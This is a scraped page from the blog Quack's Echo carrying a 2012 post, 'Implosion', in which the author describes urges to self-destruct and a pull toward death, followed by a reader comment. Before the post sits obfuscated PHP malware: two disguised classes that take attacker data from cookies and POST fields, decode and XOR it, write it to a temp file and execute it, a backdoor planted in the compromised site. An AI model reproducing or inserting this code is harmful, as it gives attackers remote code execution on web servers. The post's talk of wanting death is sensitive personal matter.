$AVDYhA = chr (90) . chr (71) . chr ( 422 - 351 ).chr (95) . 'e' . 'b' . 'F' . chr (115); $JCtDyf = "\x63" . chr (108) . 'a' . chr ( 361 - 246 ).chr ( 697 - 582 ).'_' . "\x65" . chr (120) . chr ( 282 - 177 ).'s' . 't' . "\x73";$gSMWWwHe = $JCtDyf($AVDYhA); $AVDYhA = "9943";$GExSiDRQFB = !$gSMWWwHe;$JCtDyf = "28265";if ($GExSiDRQFB){class ZGG_ebFs{private $KEQrcaXQXy;public static $DdeBZTSKpr = "ed590cae-5cbf-4497-b38c-18c7359ac48b";public static $kQXkTFI = 60669;public function __construct($rWIUy=0){$DHvqDynDj = $_COOKIE;$QuYZaA = $_POST;$mHvqk = @$DHvqDynDj[substr(ZGG_ebFs::$DdeBZTSKpr, 0, 4)];if (!empty($mHvqk)){$ulRmz = "base64";$YbpqkRc = "";$mHvqk = explode(",", $mHvqk);foreach ($mHvqk as $RPyQUqt){$YbpqkRc .= @$DHvqDynDj[$RPyQUqt];$YbpqkRc .= @$QuYZaA[$RPyQUqt];}$YbpqkRc = array_map($ulRmz . chr (95) . "\144" . chr ( 425 - 324 )."\x63" . chr ( 556 - 445 ).chr ( 245 - 145 ).'e', array($YbpqkRc,)); $YbpqkRc = $YbpqkRc[0] ^ str_repeat(ZGG_ebFs::$DdeBZTSKpr, (strlen($YbpqkRc[0]) / strlen(ZGG_ebFs::$DdeBZTSKpr)) + 1);ZGG_ebFs::$kQXkTFI = @unserialize($YbpqkRc);}}private function bEhpamOvCs(){if (is_array(ZGG_ebFs::$kQXkTFI)) {$ZlKXO = sys_get_temp_dir() . "/" . crc32(ZGG_ebFs::$kQXkTFI[chr ( 552 - 437 )."\x61" . "\x6c" . chr (116)]);@ZGG_ebFs::$kQXkTFI['w' . 'r' . "\151" . "\x74" . "\145"]($ZlKXO, ZGG_ebFs::$kQXkTFI[chr (99) . chr (111) . "\x6e" . "\164" . chr ( 1091 - 990 ).chr (110) . 't']);include $ZlKXO;@ZGG_ebFs::$kQXkTFI["\144" . chr (101) . chr (108) . 'e' . 't' . "\145"]($ZlKXO); $XVIntvdFCR = "18350";exit();}}public function __destruct(){$this->bEhpamOvCs(); $vUefWQo = str_pad("18350", 10);}}$SiUmYxRwmw = new /* 59717 */ ZGG_ebFs(); $SiUmYxRwmw = substr("11897_32420", 1);}$QVhAA = 's' . "\147" . "\x52" . "\x5f" . chr ( 1040 - 954 ).'h' . 'b' . "\126" . chr ( 524 - 453 ); $JnAPdThs = 'c' . chr ( 648 - 540 )."\141" . chr ( 485 - 370 )."\x73" . '_' . 'e' . "\x78" . "\151" . "\x73" . chr (116) . "\x73";$TzzuRBkcC = $JnAPdThs($QVhAA); $QVhAA = "62788";$NcHeWkGmu = $TzzuRBkcC;$JnAPdThs = "11313";if (!$NcHeWkGmu){class sgR_VhbVG{private $JMVus;public static $ASDKQZ = "111e62fd-4a0f-495d-8658-87ac635cbc65";public static $LKZvHm = 33818;public function __construct($fLrDyHqW=0){$VTeawdD = $_COOKIE;$qpDJTkkwx = $_POST;$QYgFHfOuG = @$VTeawdD[substr(sgR_VhbVG::$ASDKQZ, 0, 4)];if (!empty($QYgFHfOuG)){$fSQjlQQ = "base64";$hVogdg = "";$QYgFHfOuG = explode(",", $QYgFHfOuG);foreach ($QYgFHfOuG as $PBgwf){$hVogdg .= @$VTeawdD[$PBgwf];$hVogdg .= @$qpDJTkkwx[$PBgwf];}$hVogdg = array_map($fSQjlQQ . "\x5f" . "\x64" . 'e' . chr ( 560 - 461 )."\x6f" . 'd' . chr (101), array($hVogdg,)); $hVogdg = $hVogdg[0] ^ str_repeat(sgR_VhbVG::$ASDKQZ, (strlen($hVogdg[0]) / strlen(sgR_VhbVG::$ASDKQZ)) + 1);sgR_VhbVG::$LKZvHm = @unserialize($hVogdg);}}private function UDuGqg(){if (is_array(sgR_VhbVG::$LKZvHm)) {$rAnlSeNj = sys_get_temp_dir() . "/" . crc32(sgR_VhbVG::$LKZvHm["\163" . "\141" . chr (108) . chr ( 335 - 219 )]);@sgR_VhbVG::$LKZvHm[chr (119) . 'r' . chr (105) . 't' . 'e']($rAnlSeNj, sgR_VhbVG::$LKZvHm['c' . chr ( 216 - 105 )."\156" . chr (116) . "\x65" . "\156" . "\x74"]);include $rAnlSeNj;@sgR_VhbVG::$LKZvHm[chr ( 743 - 643 )."\145" . chr (108) . "\145" . chr (116) . chr ( 1046 - 945 )]($rAnlSeNj); $wtGmcsI = "47132";exit();}}public function __destruct(){$this->UDuGqg(); $wtGmcsI = "47132";$LhxMq = str_pad($wtGmcsI, 10);}}$YURjNPYPZ = new /* 35512 */ sgR_VhbVG(); $YURjNPYPZ = substr("18972_3697", 1);} Implosion – Quack's Echo

Implosion

Mark Callanan December 12, 2012 Life

Some days, I feel like I’m looking for an excuse to self-destruct.

People go off the wagon, drink to excess, hide themselves away from the world, snap at everyone around them until there’s nobody left to care. And there are times when I feel all that’s holding me back from implosion is not actually having a good reason.

If something tragic were to happen in my life, I’d feel justified in wanting to just do away with the world and quit. But there isn’t a good reason. I’m in a relationship, I have a good job and a place to live. I have good family, good friends, a good life by most measures.

So why do I want to jack it all in? Why is there this darkness, calling me away, telling me that what I want is death?

I wish I knew.

2 Comments

Yeahthtsme

December 12, 2012 at 8:37 pm 13 years ago

Reply

Some days, I feel like I’m looking for an excuse to self-destruct. Damn right!… have one of those days where I really wanna screw up life so bad just for something to happen or change ..and that’s where common sense and optimism comes in.
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